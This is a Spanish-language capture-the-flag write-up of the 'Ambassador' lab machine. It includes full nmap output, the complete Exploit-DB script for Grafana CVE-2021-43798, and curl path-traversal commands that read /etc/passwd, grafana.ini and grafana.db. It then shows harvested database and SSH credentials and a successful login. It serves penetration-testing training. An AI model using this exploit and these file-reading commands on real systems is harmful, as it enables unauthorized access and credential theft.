Ambassador [MEDIUM🔵]

Dificultad: Medio

1- Reconocimiento y escaneo

1.1 Ping

PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=172 ms

--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 172.289/172.289/172.289/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.183 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 19:54 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:54
Completed Parallel DNS resolution of 1 host. at 19:54, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:54
Scanning 10.10.11.183 [65535 ports]
Discovered open port 80/tcp on 10.10.11.183
Discovered open port 22/tcp on 10.10.11.183
Discovered open port 3306/tcp on 10.10.11.183
Discovered open port 3000/tcp on 10.10.11.183
Completed SYN Stealth Scan at 19:54, 14.81s elapsed (65535 total ports)
Initiating Service scan at 19:54
Scanning 4 services on 10.10.11.183
Completed Service scan at 19:54, 10.36s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.11.183.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 11.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:55, 21.54s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.01s elapsed
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-21 19:54:17 -03 for 59s
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLYy5+VCwR+2NKWpIRhSVGI1nJQ5YeihevJqIYbfopEW03vZ9SgacRzs4coGfDbcYa+KPePbz2n+2zXytEPfzBzFysLXgTaUlDFcDqEsWP9pJ5UYFNfXqHCOyDRklsetFOBcxkgC8/IcHDJdJQTEr51KLF75ZXaEIcjZ+XuQWsOrU5DJPrAlCmG12OMjsnP4OfI4RpIjELuLCyVSItoin255/99SSM3koBheX0im9/V8IOpEye9Fc2LigyGA+97wwNSZG2G/duS6lE8pYz1unL+Vg2ogGDN85TkkrS3XdfDLI87AyFBGYniG8+SMtLQOd6tCZeymGK2BQe1k9oWoB7/J6NJ0dylAPAVZ1sDAU7KCUPNAex8q6bh0KrO/5zVbpwMB+qEq6SY6crjtfpYnd7+2DLwiYgcSiQxZMnY3ZkJiIf6s5FkJYmcf/oX1xm/TlP9qoxRKYqLtEJvAHEk/mK+na1Esc8yuPItSRaQzpCgyIwiZCdQlTwWBCVFJZqrXc=
|   256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgGRouCNEVCXufz6UDFKYkcd3Lmm6WoGKl840u6TuJ8+SKv77LDiJzsXlqcjdeHXA5O87Us7Npwydhw9NYXXYs=
|   256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINujB7zPDP2GyNBT4Dt4hGiheNd9HOUMN/5Spa21Kg0W
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open  http    syn-ack ttl 63 Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: Grafana
|_Requested resource was /login
|_http-favicon: Unknown favicon MD5: 279F94A1965D11699C4E33714AE33492
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
3306/tcp open  mysql   syn-ack ttl 63 MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 10
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, FoundRows, Speaks41ProtocolOld, LongColumnFlag, InteractiveClient, SupportsLoadDataLocal, ODBCClient, SupportsCompression, SwitchToSSLAfterHandshake, ConnectWithDatabase, IgnoreSigpipes, SupportsTransactions, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, LongPassword, Speaks41ProtocolNew, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: Oaz/1rD\x1D\x11d\x0F]g`(~i&x>
|_  Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.23 seconds
           Raw packets sent: 72325 (3.182MB) | Rcvd: 71724 (2.869MB)

Tenemos 4 puertos que corren sobre la maquina objetivo, 22(OpenSSH 8.2), 80(Apache httpd 2.4.41), 3000(Grafana httpd), 3306(MySQL 8.0.30), el puerto 22 corresponde a un servidor SSH para control remoto seguro mediante linea de comandos, el puerto 80 corresponde a un servidor web, el puerto 3000 corresponde a Grafana, una herramienta DevOps para metricas de bases de datos, y 3306 corresponde a una base de datos MySQL. Tambien podemos notar que la maquina objetivo corre sobre un sistema operativo Ubuntu debido a la información proporcionada por el puerto 3306

Si nos vamos al navegador Firefox dentro de nuestro Kali, y vamos a la pagina web correspondiente que se aloja dentro del puerto 80:

Vemos una aplicación web sencilla. Ahora vamos a ir a la pagina web correspondiente al puerto 3000:

Vemos el panel de administración y el login de Grafana, adjunto a la versión de Grafana(v8.2.0)

1.3 whatweb

http://10.10.11.183/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.183], MetaGenerator[Hugo 0.94.2], O
       pen-Graph-Protocol[website], Title[Ambassador Development Server], X-UA-Compatible[IE=edge]

Tecnologias utilizadas por el servidor web:

Apache 2.4.41
HTTPServer[Ubuntu Linux]

1.4 Fuzzing

❯ dirsearch -u http://10.10.11.183/ -o fuzzing.txt

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.11.183/

[19:58:17] Scanning: 
[19:58:32] 200 -    2KB - /404.html
[19:58:55] 301 -   317B - /categories  ->  http://10.10.11.183/categories/
[19:59:11] 301 -   313B - /images  ->  http://10.10.11.183/images/
[19:59:11] 200 -   993B - /images/
[19:59:11] 200 -    4KB - /index.html
[19:59:11] 200 -    1KB - /index.xml
[19:59:27] 301 -   312B - /posts  ->  http://10.10.11.183/posts/
[19:59:32] 403 -   277B - /server-status
[19:59:32] 403 -   277B - /server-status/
[19:59:34] 200 -   645B - /sitemap.xml
[19:59:38] 301 -   311B - /tags  ->  http://10.10.11.183/tags/

Task Completed

Dentro del fuzzing, no encontramos nada relevante

2- Explotación de Grafana

2.1 Searchsploit Grafana 8

Vamos a buscar un exploit existente con la información recabada, en este caso buscaremos un exploit para Grafana, concretamente la versión 8:

❯ searchsploit Grafana 8
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                      |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)                                                                                                             | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                                                                                         | multiple/webapps/50581.py
Grafana <=6.2.4 - HTML Injection                                                                                                                    | typescript/webapps/51073.txt
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

2.2 Path Traversal & Arbitrary File Read

Vemos que hay un exploit de Grafana para realizar un Path Traversal para recorrer las rutas dentro del servidor y tambien de lectura arbitraria de archivos, concretamente el exploit "multiple/webapps/50581.py" , vamos a visualizar el codigo del exploit y a bajarlo:

searchsploit -x multiple/webapps/50581.py [Visualizarlo]
searchsploit -m multiple/webapps/50581.py [Bajarlo]
❯ searchsploit -x multiple/webapps/50581.py
  Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
      URL: https://www.exploit-db.com/exploits/50581
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
    Codes: CVE-2021-43798
 Verified: False
File Type: Python script, ASCII text executable


❯ searchsploit -m multiple/webapps/50581.py
  Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
      URL: https://www.exploit-db.com/exploits/50581
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
    Codes: CVE-2021-43798
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/t0mz/CTF/ambassador/50581.py


❯ ls
 50581.py   escaneo.txt   fuzzing.txt   ping.txt   whatweb.txt

Una vez bajado, vamos a revisar el codigo en detalle:

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

Dentro del exploit tenemos un CVE, una vulnerabilidad publica (CVE-2021-43798)

Vemos que concretamente dentro de esta linea, se acontece el path traversal:

url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read

Este path traversal funciona con los plugins existentes dentro de Grafana, dentro de la lista de plugins que podemos ver dentro de la lista "plugins_list" en el codigo:

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

Vamos a ejecutar el exploit con el siguiente comando:

python3 50581.py -H http://10.10.11.183:3000/

Ejecutamos:

❯ python3 50581.py -H http://10.10.11.183:3000/
Read file > 

Ahora vamos a indicarle que nos de el contenido del fichero "/etc/passwd":

Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

Read file > 

Estamos accediendo a un archivo local de la maquina objetivo, esto se conoce como un LFI o Local File Inclusion

2.3 Path Traversal y LFI con Curl

Ahora vamos a realizar el mismo procedimiento pero de manera manual con la herramienta "curl" que viene integrada dentro de Kali, con el siguiente comando chequeamos el path traversal y posteriormente el LFI

Si revisamos el codigo del exploit anteriormente utilizado, el path traversal se acontece dentro del directorio de los plugins de Grafana:

url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read

Este es el directorio donde se encuentran los plugins de Grafana:

'/public/plugins/'

El valor de choice(plugins_list) es igual a "alertlist"

Por ende, la ruta para verificar el path traversal, quedaria de la siguiente manera:

http://10.10.11.183:3000/public/plugins/alertlist/

Ahora vamos con el comando utilizado para realizar el Path Traversal con Curl:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/passwd' --path-as-is

Ejecutamos:

❯ curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/passwd' --path-as-is
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

Y obtendriamos el archivo /etc/passwd nuevamente pero de forma manual con la herramienta curl

Ahora vamos a guardar el contenido de este archivo en nuestro Kali:

❯ vim passwd_ambassador
❯ cat passwd_ambassador
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: passwd_ambassador
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ t:x:0:0:root:/root:/bin/bash
   3   │ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
   4   │ bin:x:2:2:bin:/bin:/usr/sbin/nologin
   5   │ sys:x:3:3:sys:/dev:/usr/sbin/nologin
   6   │ sync:x:4:65534:sync:/bin:/bin/sync
   7   │ games:x:5:60:games:/usr/games:/usr/sbin/nologin
   8   │ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
   9   │ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  10   │ mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  11   │ news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  12   │ uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  13   │ proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  14   │ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  15   │ backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  16   │ list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  17   │ irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  18   │ gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  19   │ nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  20   │ systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  21   │ systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  22   │ systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  23   │ messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
  24   │ syslog:x:104:110::/home/syslog:/usr/sbin/nologin
  25   │ _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
  26   │ tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
  27   │ uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
  28   │ tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
  29   │ landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
  30   │ pollinate:x:110:1::/var/cache/pollinate:/bin/false
  31   │ usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
  32   │ sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
  33   │ systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  34   │ developer:x:1000:1000:developer:/home/developer:/bin/bash
  35   │ lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
  36   │ grafana:x:113:118::/usr/share/grafana:/bin/false
  37   │ mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
  38   │ consul:x:997:997::/home/consul:/bin/false
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

2.4 Path Traversal al archivo de configuración de Grafana

Con esto ya sabemos los usuarios que se encuentran dentro de la maquina objetivo, ahora vamos a hacer el mismo path traversal pero con el archivo de configuración de Grafana:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini' --path-as-is

Ejecutamos y nos daria el fichero de configuración de Grafana para visualizarlo dentro de la consola, sera mejor que lo guardemos con el siguiente comando:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini' --path-as-is > grafana_ambassador.ini

Ahora si analizamos el archivo, veremos que en una de las lineas, concretamente en la sección de seguridad, podremos grepear por la palabra clave "admin" con el siguiente comando:

cat grafana_ambassador.ini | grep 'admin'

Ejecutamos:

# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427
# Allow non admin users to create organizations
# Editors can administrate dashboard, folders and teams they create
;editors_can_admin = false
# Enter a comma-separated list of users login to hide them in the Grafana UI. These users are shown to Grafana admins and themselves.
;from_address = admin@grafana.localhost
# Specify the frequency of polling for admin config changes.
;admin_config_poll_interval = 60s
;plugin_admin_enabled = false
;plugin_admin_external_manage_enabled = false

Si revisamos bien la salida del comando con el pipe y el grep, veremos que hay unas credenciales:

;admin_user = admin
admin_password = messageInABottle685427

Vamos a Firefox para iniciar sesión dentro de Grafana:

Y nos inicia sesión correctamente:

2.5 Path Traversal al archivo de configuración de base de datos de Grafana

Vamos a realizar un dumpeo del archivo de configuración de la base de datos de Grafana con el path traversal encontrado con el siguiente comando:

curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../var/lib/grafana/grafana.db' --path-as-is -o db_grafana.db

Ejecutamos:

❯ curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../var/lib/grafana/grafana.db' --path-as-is -o db_grafana.db
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  644k  100  644k    0     0   513k      0  0:00:01  0:00:01 --:--:--  513k

Nos guardra la configuración de la DB de Grafana en un archivo llamado "db_grafana.db", recordemos que este archivo es un binario.

Vamos a grepearlo para encontrar posibles credenciales con el siguiente comando:

strings db_grafana.db | grep grafana

(Recordemos que al ser un archivo binario, utilizamos el comando stirngs y no cat)

Ejecutamos:

❯ strings db_grafana.db | grep grafana
mysqlmysql.yamlproxydontStandSoCloseToMe63221!grafanagrafana{}2022-09-01 22:43:032025-02-21 22:51:51{}uKewFgM4z
mysqlMySQLproxydontStandSoCloseToMegrafanagrafana{}2022-09-01 22:36:392022-09-01 22:36:39{}R7v2FgGVk

Si analizamos podemos ver que hay palabras que indican una posible contraseña:

Username: grafana
DB: grafana
Password: dontStandSoCloseToMe63221!

2.6 Conexión a la DB MySQL con las credenciales obtenidas

Ahora sabiendo estas credenciales y recordando el escaneo de Nmap, hay un puerto 3306, correspondiente a una base de datos MySQL, vamos a conectarnos a la misma con el siguiente comando:

mysql -h 10.10.11.183 -u grafana -p --skip-ssl

(Recordar saltear el cifrado TLS/SSL)

Ejecutamos:

❯ mysql -h 10.10.11.183 -u grafana -p --skip-ssl
Enter password:

Nos pedira la contraseña, en este caso "dontStandSoCloseToMe63221!", la introducimos:

❯ mysql -h 10.10.11.183 -u grafana -p --skip-ssl
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 30
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Vamos a ver que bases de datos se encuentran dentro de la maquina objetivo:

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.180 sec)

MySQL [(none)]> 

La base de datos "grafana" no contiene ninguna tabla, sin embargo, la DB "whackywidget" si contiene, vamos a seleccionar la base de datos:

MySQL [grafana]> USE whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]>

Y vamos a listar las tablas:

MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.174 sec)

MySQL [whackywidget]>

Ahora vamos a seleccionar todos los elementos de la tabla "users":

MySQL [whackywidget]> SELECT * FROM users
    -> ;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.174 sec)

MySQL [whackywidget]> 

3- Conexión a SSH con las credenciales de la DB de MySQL

Si recordamos, dentro del archivo /etc/passwd tenemos un usuario llamado "developer"

  34   │ developer:x:1000:1000:developer:/home/developer:/bin/bash

Por ende:

Usuario: developer
Password: YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==

Si prestamos atención, la contraseña parece estar ciftada en base64

Vamos a decifrarla con el siguiente comando:

echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d

Ejecutamos:

❯ echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d
anEnglishManInNewYork027468

Nos daria la contraseña en texto plano, de tal forma que el usuario y el password quedaria asi:

Usuario: developer
Password: anEnglishManInNewYork027468

Tambien dentro de la maquina objetivo tenemos el servicio SSH corriendo, vamos a intentar conectarnos mediante SSH con estas credenciales de la DB:

ssh developer@10.10.11.183

Ejecutamos:

❯ ssh developer@10.10.11.183
developer@10.10.11.183's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 22 Feb 2025 02:42:37 AM UTC

  System load:           0.0
  Usage of /:            80.9% of 5.07GB
  Memory usage:          39%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.183
  IPv6 address for eth0: dead:beef::250:56ff:feb0:5ffd


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Sep  2 02:33:30 2022 from 10.10.0.1
developer@ambassador:~$ 

